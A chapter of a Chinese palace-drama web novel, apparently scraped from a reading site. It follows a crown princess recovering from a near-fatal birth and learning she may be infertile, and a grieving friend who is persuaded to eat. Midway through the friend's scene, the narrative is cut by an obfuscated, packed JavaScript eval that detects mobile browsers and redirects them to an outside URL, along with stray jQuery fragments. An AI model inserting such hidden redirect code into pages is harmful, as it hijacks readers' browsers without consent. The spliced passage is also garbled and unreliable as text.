88. 新寡人

作品:《君妇升职手札

    等元嘉彻底清醒,已是生产后的第三日了。她身上还是疼的厉害,虽恢复了些精神,可大半时间还是用靠枕垫着后腰,将自己的活动范围限在床榻上。


    可即便如此,她还是第一时间找来了徐妈妈,问起柳安沅的近况。


    “女君放心,”徐妈妈将被褥往元嘉身上扯了扯,“那日宿国公夫妇,还有欧阳将军都去了,夺了柳娘子的剪子,又把人从谢家先带回了国公府,这几日都叫人守着呢。”


    “无事便好,无事便好……”


    元嘉抚着胸口,总算松了口气。


    “女君醒过来便只记挂着柳娘子,咱们的小郎君怕是要委屈了呢!”


    徐妈妈从奶母手中接过孩子,又小心放到元嘉怀里。小小的婴孩刚吃过奶,此刻睡得正香。


    “……小郎君?”元嘉将孩子拢在胸前,额头与额头相贴,低声喃喃,“真好啊。”


    元嘉应该是高兴的,这是她的骨血,是她去了半条性命才得来的宝物。可这一刻,急剧涌出的欣幸远远盖过了怀中婴孩出生带给她的喜悦。


    她终于不必为自己的前路而担心了……哪怕,在生死攸关的那一瞬间,她是真的想过要放弃这个孩子。


    可这些都不重要了。


    元嘉不自觉搂紧孩子。直到这一刻,才真切感受到骨血相连是何滋味……她会成为这孩子的依靠。


    “女君,”逢春从门外走了进来,略微放低了声音,“章太医过来给您搭脉了。”


    闻言,元嘉下意识朝窗外望了两眼,“瞧着不像是你们说的请脉的时辰,章有为怎么这时候过来了?”


    “想是知道您醒了,特意过来的。”


    逢春轻声道。


    听着倒是个合情合理的因由,可元嘉却总觉得哪里奇怪,而她素来是更相信自己的直觉的。


    于是,元嘉将孩子抱还给奶母,又借口人太多太闷,干脆遣走了屋里所有的宫女,只留下徐妈妈和逢春在侧,这才将章有为喊进来。


    章有为进了门,不着痕迹地环视了一圈。先替元嘉搭了脉,又说了一堆产后需留意的事项,这才谨慎地开口:“女君身子受了大害,往后怕是要长期调养着了。”


    “这是自然,”元嘉点头道,“徐妈妈她们都对我说过的,说你要本宫这几年都好生养着,不要动气,也不要操心。这些本宫都记着呢,章太医只管放心。”


    章有为听到这话,神情并没有好转多少,反生出几分欲言又止来。


    元嘉看了几眼,又问道:“章太医,可还有什么未尽之言?徐妈妈与逢春都是本宫信任的,有什么话只管说,不必避着她们。”


    章有为犹豫了一下,终是道:“女君先将身子调养好,至于子息事,便暂时不要强求了。”


    “章太医,您这话是什么意思?”


    徐妈妈抿着嘴,面上有些难看。


    “你是想说,本宫以后再不能有别的孩子了?”


    元嘉追问道。


    “若是长久地喝药调养,或许也还有希望……”


    章有为到底没有说死。


    屋内一片死寂。一个孩子,在其他人家或许足够了,可在皇室,却是万万不够的。


    “……太子知道吗?”


    元嘉眸中闪过一丝惊惶,又很快被浓重的墨色压了下去,恢复如常,仿佛方才的慌张从未存在过一般。


    “微臣只说您这几年需细心调养,旁的并未多言。”


    章有为垂下眼睛,不再看人。


    元嘉紧绷的脊背骤然放松,“本宫深感章太医恩情,来日必谢。”


    “您从前照拂小女颇多,微臣也只是行医者本分,算不得故意替您隐瞒。”


    章有为却没有挟恩的意思,只摇着头推拒道。


    “不论如何,本宫还是要多谢章太医的。”


    元嘉坐在床榻上,又朝章有为俯身道谢。不管是不是因为章辛夷,终归是她自己享了这好处。如今虽一时只能在言语上聊表谢意,但余生漫长,她总能想到其他报答的办法。


    章有为避无可避,有些拘谨地受了礼,借着去催药的由头行礼告退。


    元嘉自无不允。


    不多时,章辛夷奉药而入。


    元嘉径自接过药盏,还未拿近便闻到比以往更浓烈的药味,不由得皱了皱眉,却还是什么都没说,只用指腹触碰着试了下温度,便一饮而尽。


    “这药喝着倒比之前苦了许多。”


    元嘉放下药盏,用茶水净了口,又从碟子里捡了颗果脯放进嘴里,感受到口齿间涩意稍退后,方蹙眉道。


    “爹爹说,您这次身子损得厉害,只能先下以重药补足亏空,再施以文药慢慢调养。”章辛夷捧着托盘解释道,“所以这药,确是比从前的难喝些,良药苦口嘛!”


    元嘉听罢一笑,“我都快变成药罐子了。”


    “呸呸呸!”章辛夷撅着嘴,“您只是需要调养而已,等亏空的补回来了,便不用喝这药了!”


    “好,那我一定好好养身体。”


    元嘉放缓了语调,像是哄孩子开心一般,顺着章辛夷的话答应道。


    章辛夷果然高兴了,将放了果脯的碟子留下,这才退了出去。


    元嘉又捡了一颗含在嘴里,方对徐妈妈道:“那日在长春馆守着的,和替我接生的太医、医女和稳婆们,过后可都赏赐了?”


    “女君放心,太子早下了恩赏,大家都感激得很呢。”


    徐妈妈回道。


    闻言,元嘉头也不抬,“既如此,你一会儿也领着人去趟库房,比着太子的那份再减下一成,也替我恩赏她们吧。”


    “是,”徐妈妈应了一声,少顷又忍不住道,“只是您与太子一体同心,太子已然下了恩赏,你又何必……您就把自己的身子顾好,章太医都叮嘱过的,让您千万别操心。”


    “银子这样的好东西,谁会嫌拿到手里的多呢?”


    说完这句话,元嘉便换了个姿势又靠回背枕之上,不多时犯起困来。脑子里却还惦挂着柳安沅的事情,可架不住身上越来越厉害的疲乏,终是带着满腹的思绪昏睡了过去。


    宿国公府。


    “沅儿……”


    靖安郡主坐在床沿边上,捧了碗还滚着热气的清粥,小心翼翼地劝道:“咱们先吃点东西,好不好?”


    柳安沅却似没听见般,佝偻着身子蜷缩在床榻角落,一副与外界隔绝的样子。


    “沅儿,咱们就吃两口,吃两口。”


    靖安郡主还欲再劝,柳安沅却不想再听,两手一抬便将耳朵死死捂住,眼睛仍是不看人。


    靖安郡主眼眶微红,宿国公脸色亦是难看,抚着胸口平复了几下,还是没忍住气,一脸的恨铁不成钢,道:“那谢家小子已经死了,都入殓了!你如今这样不吃不喝的是要做给谁看?是打算好了不要爹娘,跟着他一起去死吗!”


    宿国公拂袖,又气急败


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15518912|154513||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    坏地背对着柳安沅坐下,手却发着抖,俨然只是嘴硬。


    欧阳沁两手抱胸,背靠在一根粗实的柱子前。她这几日下了朝便奔过来守着,唯恐柳安沅偏激之下做出什么无法挽回的事情。此刻瞧着前者的反应,脸色同样难看,却更多三分冷冽,少顷缓缓道:“阿沅,我再问你一次,这粥,你是喝,还是不喝?”


    柳安沅偏头不语。


    “你若实在不喝,我们大可以压着你强灌进去,可这样你会难受,我们亦是不忍。所以我也好,伯父伯母也罢,这几日都只是在言语上劝你,”欧阳沁眼中满是痛心,“阿沅,你真的还要继续这样下去吗?”


    柳安沅瘪着嘴,眼泪早已在眼眶里打转,却还是固执地不肯开口。


    欧阳沁等了等,又朝靖安郡主与宿国公道:“伯父伯母,我有些话想单独与阿沅说,能否请您二位先离开片刻?”


    夫妇俩早已心身俱疲,闻言只颓唐点头,又看了柳安沅好几眼,才带着忧色走出屋子。


    “……你就不奇怪,怎么我们都过来了,独嘉儿不见踪影,甚至连个人都没派过来?”


    欧阳沁听着两人的脚步声远去,这才开口,却将话题引向了元嘉。


    “嘉儿就要生产了,她们怎么会在这时候让人过来。”


    柳安沅眉心微动,又将脑袋靠在臂弯处,借着皮肤与衣物相触的当头,悄无声息地拭去眼泪。


    “错了,你出事那日嘉儿便知道了,连我也是得了季家伯母的信,这才急忙赶来的。”


    柳安沅猛地抬起头,瞪着自己通红的眼睛瞧向欧阳沁。


    “那你大概也不知道,你出事那日,嘉儿也出事了。”


    欧阳沁直视着柳安沅,像是用钝刀割肉般一字一句道,“她知道你不好,急得从阶上跌了下去,早产加难产,差点把命搭进去。万幸有太医们守着,痛苦哀嚎了几个时辰,还是活着把孩子生下来了。可她自己呢,昏睡了三日才醒过来,醒过来的第一件事,却还是问你好不好。”


    柳安沅怔怔看着欧阳沁,眼泪突然就流了出来,顺着脸颊一滴一滴地打在手背上,滚烫地叫人害怕。


    “……从阶上跌了下来?”


    柳安沅的声音有些发抖。


    “她遭了大罪,能捡回一条命已是侥幸,如今身体亏空的厉害,也不知何时才补得回来。”


    柳安沅的眼泪掉得更厉害了。


    “这事,季家伯母原叮嘱我不要告诉你,说是如今既已无事,便不要拿当日的险情来叫你担心了。”欧阳沁挨着床沿坐下,“可我却觉得,这件事不止不能瞒你,还要叫你原原本本地知道清楚。只有这样,你才会在伤害自己的时候心下犹豫,这世间,原不止谢韫暄一人珍你重你……”


    柳安沅哇的一声哭出来,抽噎着开口,“沁姊姊……沁姊姊,我、嘉儿,对不起,我不是……”


    欧阳沁将人揽进怀里,小声安慰起来。如此又过了小半晌工夫,柳安沅才勉强止住了哭声。


    欧阳沁看着柳安沅红肿的双眼,无声叹了口气,还欲再说些什么,却见芳菲快步跑了进来,口中道:“将军、娘子,谢家来人了……”


    柳安沅猛地直起身子,怔怔瞧着芳菲不放,千言万语在胸,却一句话也说不出口。


    “去服侍你家娘子梳妆,我先陪着郡主与国公爷会会这谢家的来客!”


    欧阳沁却面色一冷,放下搭在柳安沅背后的手,一掀衣袍便跨出了门。